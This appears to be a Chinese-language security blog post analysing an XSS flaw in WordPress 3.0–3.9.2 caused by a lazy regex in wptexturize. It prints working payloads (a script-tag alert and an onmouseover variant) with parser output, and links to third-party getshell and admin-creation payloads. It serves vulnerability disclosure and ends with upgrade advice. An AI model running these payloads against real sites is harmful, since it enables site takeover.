WordPress 罕见的爆了一个 XSS,具体还是正则表达式的问题_(:3
我们来分析一下这个 XSS 漏洞的成因,首先这个漏洞的成因是在/wp-includes/formatting.php
中的wptexturize
函数。其中这个函数最后一段代码导致的 XSS。
/** * Filter the list of shortcodes not to texturize. * * @since 2.8.0 * * @param array $default_no_texturize_shortcodes An array of shortcode names. */ $no_texturize_shortcodes = '(' . implode( '|', apply_filters( 'no_texturize_shortcodes', $default_no_texturize_shortcodes ) ) . ')'; $no_texturize_tags_stack = array(); $no_texturize_shortcodes_stack = array(); $textarr = preg_split('/(<.*>|\[.*\])/Us', $text, -1, PREG_SPLIT_DELIM_CAPTURE); foreach ( $textarr as &$curl ) { // ...不用看 } // print_r($textarr); return implode( '', $textarr );
我们来看这个正则表达式:
/(<.*>|\[.*\])/Us
这个正则表达式的含义是: 匹配<>
或者[]
中间的所有内容,并且是用懒惰模式匹配的。正则有贪婪模式和懒惰模式,举个例子:
[ricter is very moe!][very very moe!!]
我们用懒惰模式匹配的话,会匹配到离左边[
最近的]
,而用贪婪模式匹配的话,会匹配到离左边[
最远的]
。
Wordpress 就是这样匹配,然后再用 implode 把这个数组变成字符串。
那么问题来了,如果我们把<>
嵌套在[]
里面会怎么样呢?
[<owo>]
很不幸的会这样:
Array ( [0] => [1] => [<owo>] [2] => )
更为令人兴奋的是,Wordpress 不会对匹配出来的数组中[]
中间的尖括号做转义,所以我们的一些邪恶代码要在[]
中间。
让我们打开脑洞来构造一下。
[<a href="hello" alt="]"></a>["<script></][a><script>alert(1)</script>]
新的 payload 构造出来了哟 ow<
我们来看一下 WordPress 是如何解析的:
Array ( [0] => [1] => [<a href="hello" alt="] [2] => ” rel=”nofollow”> [3] => </a> [4] => [5] => ["<script></] [6] => [7] => [a><script>alert(1)</script>] [8] => )
是不是直接 script 标签更爽一点?
作者:Ricter@Knownsec //会卖萌的安全工作者ow<
//小编测试了一下 Ricter这个新姿势能在前台xss弹窗 不限制用户权限 后台的确不能弹窗
[<a href="hello" alt="]"></a>["<script></][a><script>alert(1)</script>]
前后台都能弹窗 似乎还是老的onmouseover能用
[<a href="test" title="]"></a>[" <!-- onmouseover=alert(/xss/)//><!-- -->NOT VULNERABLE<a></a>]
对了标题是说3.0-3.9.2; WordPress 3.9.3是没有此漏洞的,大家可以下载个wordpress-3.8.3测试一下。
//更新 wooyun上0x_Jin发了js getshell和add管理员
wordpress 3.0-3.9.2 XSS Getshell Payload http://zone.wooyun.org/content/16880
wordpress 添加管理员Payload http://zone.wooyun.org/content/16869
【小编提醒大家升级到WordPress4.0系列或者升级akismet评论插件】